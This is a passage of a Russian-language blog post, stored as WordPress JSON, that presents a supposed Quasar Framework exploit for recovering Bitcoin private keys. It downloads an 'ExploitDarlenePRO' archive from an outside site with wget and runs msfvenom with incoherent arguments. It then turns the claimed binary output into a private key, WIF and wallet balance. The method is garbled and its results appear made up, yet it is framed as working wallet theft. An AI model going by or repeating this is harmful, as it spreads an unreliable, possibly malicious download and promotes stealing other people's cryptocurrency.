\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework<\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u043f\u0430\u043f\u043a\u0438 \u043f\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0443:\u00a0<code>\/modules\/exploits\/<\/code><\/p>\n<figure class=\"\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<h3>ExploitDarlenePRO<\/h3>\n<h3><\/h3>\n<p>\u0417\u0430\u0433\u0440\u0443\u0437\u0438\u043c <a href=\"https:\/\/darlene.pro\" rel=\"noopener noreferrer nofollow\">ExploitDarlenePRO<\/a> \u043f\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0443:\u00a0<code>\/modules\/exploits\/<\/code>  <\/p>\n<pre><code>cd modules\/ ls cd exploits\/ !wget https:\/\/darlene.pro\/repository\/21fa0f866f9f5fd22ce045e57f22185de1877dee25ad9d3974b7167a78957680\/ExploitDarlenePRO.zip<\/code><\/pre>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p> \u0420\u0430\u0437\u0430\u0440\u0445\u0438\u0432\u0438\u0440\u0443\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435\u00a0<code>ExploitDarlenePRO.zip<\/code>\u00a0\u0447\u0435\u0440\u0435\u0437 \u0443\u0442\u0438\u043b\u0438\u0442\u0443\u00a0<code>unzip<\/code><\/p>\n<pre><code>!unzip ExploitDarlenePRO.zip<\/code><\/pre>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p>\u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043f\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0443:\u00a0<code>\/ExploitDarlenePRO\/<\/code><\/p>\n<pre><code>ls cd ExploitDarlenePRO\/ ls<\/code><\/pre>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p>\u0414\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u043f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u043a\u00a0<code>Metasploit Framework<\/code><\/p>\n<pre><code>cd \/ cd content\/metasploit-framework\/ ls<\/code><\/pre>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p>\u041d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043d\u0430\u0448\u00a0<code>LHOST\u00a0(Local Host)<\/code>\u00a0\u043d\u0430\u0448\u00a0<code>IP-address<\/code>\u00a0\u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b.<\/p>\n<p><strong>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u044b:<\/strong><\/p>\n<pre><code>!ip addr !hostname -I<\/code><\/pre>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438\u00a0<code>MSFVenom<\/code><\/p>\n<p>\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u043c \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u0435\u043a:\u00a0<a href=\"https:\/\/btc1.trezor.io\/address\/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F\" rel=\"noopener noreferrer nofollow\"><u>1qzgi39y33HrM7mHsZ6FaNspHCraJe62F<\/u><\/a><\/p>\n<figure class=\"\">\n<div><figcaption><a href=\"https:\/\/btc1.trezor.io\/address\/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc1.trezor.io\/address\/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F<\/u><\/a><\/figcaption><\/div>\n<\/figure>\n<p><strong>\u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430:<\/strong><\/p>\n<pre><code>!.\/msfvenom 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F -p modules\/exploits\/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p lnbits\/lnbits\/static\/vendor LHOST=172.28.0.12 -f JS -o quasar.umd.js <\/code><\/pre>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<p><strong>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:<\/strong><\/p>\n<pre><code>111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011<\/code><\/pre>\n<hr\/>\n<p>\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442 \u043d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0432 \u0444\u0430\u0439\u043b:\u00a0<code>binary.txt<\/code>\u00a0\u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0443\u0442\u0438\u043b\u0438\u0442\u043e\u0439\u00a0<code>echo<\/code><\/p>\n<p><strong>\u041a\u043e\u043c\u0430\u043d\u0434\u0430:<\/strong><\/p>\n<pre><code>!echo '111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011' > binary.txt <\/code><\/pre>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p>\u041a\u043e\u043d\u0432\u0435\u0440\u0442\u0438\u0440\u0443\u0435\u043c \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442 \u0432 HEX-\u0444\u043e\u0440\u043c\u0430\u0442 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u044c\u043a\u0430:<\/p>\n<p><strong>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u043a\u043e\u0434\u043e\u043c:<\/strong><\/p>\n<pre><code>binaryFile = open(\"binary.txt\", \"r\") binaryFile = binaryFile.readlines() hexFile = open(\"hex.txt\", \"w+\")  # loop through each line of binaryFile then convert and write to hexFile for line in binaryFile:     binaryCode = line.replace(\" \", \"\")     hexCode = hex(int(binaryCode, 2))     hexCode = hexCode.replace(\"0x\", \"\").upper().zfill(4)     hexFile.write(hexCode + \"\\n\")  # close hexFile hexFile.close()<\/code><\/pre>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u0444\u0430\u0439\u043b:\u00a0<strong>hex.txt<\/strong><\/p>\n<pre><code>cat hex.txt<\/code><\/pre>\n<figure class=\"full-width\">\n<div><figcaption><strong>7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B<\/strong><\/figcaption><\/div>\n<\/figure>\n<h3>\u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u041a\u043b\u044e\u0447 \u041d\u0430\u0439\u0434\u0435\u043d!<\/h3>\n<hr\/>\n<p>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u043c\u043e\u0434\u0443\u043b\u044c\u00a0<code>Bitcoin<\/code><\/p>\n<pre><code>!pip3 install bitcoin<\/code><\/pre>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u043a\u043e\u0434 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u0430:<\/p>\n<pre><code>from bitcoin import *  with open(\"hex.txt\",\"r\") as f:     content = f.readlines() # you may also want to remove whitespace characters like `\\n` at the end of each line content = [x.strip() for x in content] f.close()   outfile = open(\"privtoaddr.txt\",\"w\") for x in content:   outfile.write(x+\":\"+pubtoaddr(encode_pubkey(privtopub(x), \"bin_compressed\"))+\"\\n\")   outfile.close()<\/code><\/pre>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u0444\u0430\u0439\u043b:\u00a0<code>privtoaddr.txt<\/code><\/p>\n<pre><code>cat privtoaddr.txt<\/code><\/pre>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<p><strong>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:<\/strong><\/p>\n<pre><code>7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B:1qzgi39y33HrM7mHsZ6FaNspHCraJe62F <\/code><\/pre>\n<blockquote>\n<p><strong><em>\u0412\u0441\u0435 \u0432\u0435\u0440\u043d\u043e! \u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u044c\u043a\u0443.<\/em><\/strong><\/p>\n<\/blockquote>\n<hr\/>\n<h3>\u041e\u0442\u043a\u0440\u043e\u0435\u043c\u00a0bitaddress\u00a0\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c:<\/h3>\n<pre><code>ADDR: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F WIF:  L1TWHkT6HcNVHCjsUpGecyZQqGJC5Ek98HunmRH4c3zb8V87NUiP HEX:  7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B<\/code><\/pre>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p><a href=\"https:\/\/www.blockchain.com\/en\/explorer\/addresses\/btc\/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F\" rel=\"noopener noreferrer nofollow\"><strong><u>https:\/\/www.blockchain.com\/en\/explorer\/addresses\/btc\/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F<\/u><\/strong><\/a><\/p>\n<hr\/>\n<figure class=\"full-width\"><\/figure>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<h3>BALANCE: $ 11032.77<\/h3>\n<hr\/>\n<h3>References:<\/h3>\n<ul>\n<li>\n<p><strong>[1]<\/strong>\u00a0<a href=\"https:\/\/cryptodeep.ru\/doc\/A_Cryptoeconomic_Traffic_Analysis_of_Bitcoins_Lightning_Network.pdf\" rel=\"noopener noreferrer nofollow\"><em><u>A Cryptoeconomic Traffic Analysis of Bitcoins Lightning Network\u00a0<\/u><\/em><strong><em><u>(Ferenc Beres, Istvan A. Seres, Andras A. Benczur)<\/u><\/em><\/strong><\/a><\/p>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<p><strong>[2]<\/strong>\u00a0<a href=\"https:\/\/cryptodeep.ru\/doc\/Flood_Loot_A_Systemic_Attack_On_The_Lightning_Network.pdf\" rel=\"noopener noreferrer nofollow\"><em><u>Flood &amp; Loot: A Systemic Attack On The Lightning Network\u00a0<\/u><\/em><strong><em><u>(Jona Harris, Aviv <\/u><\/em><\/strong><\/a><\/p>\n<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-359955","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/359955","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=359955"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/359955\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=359955"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=359955"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=359955"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}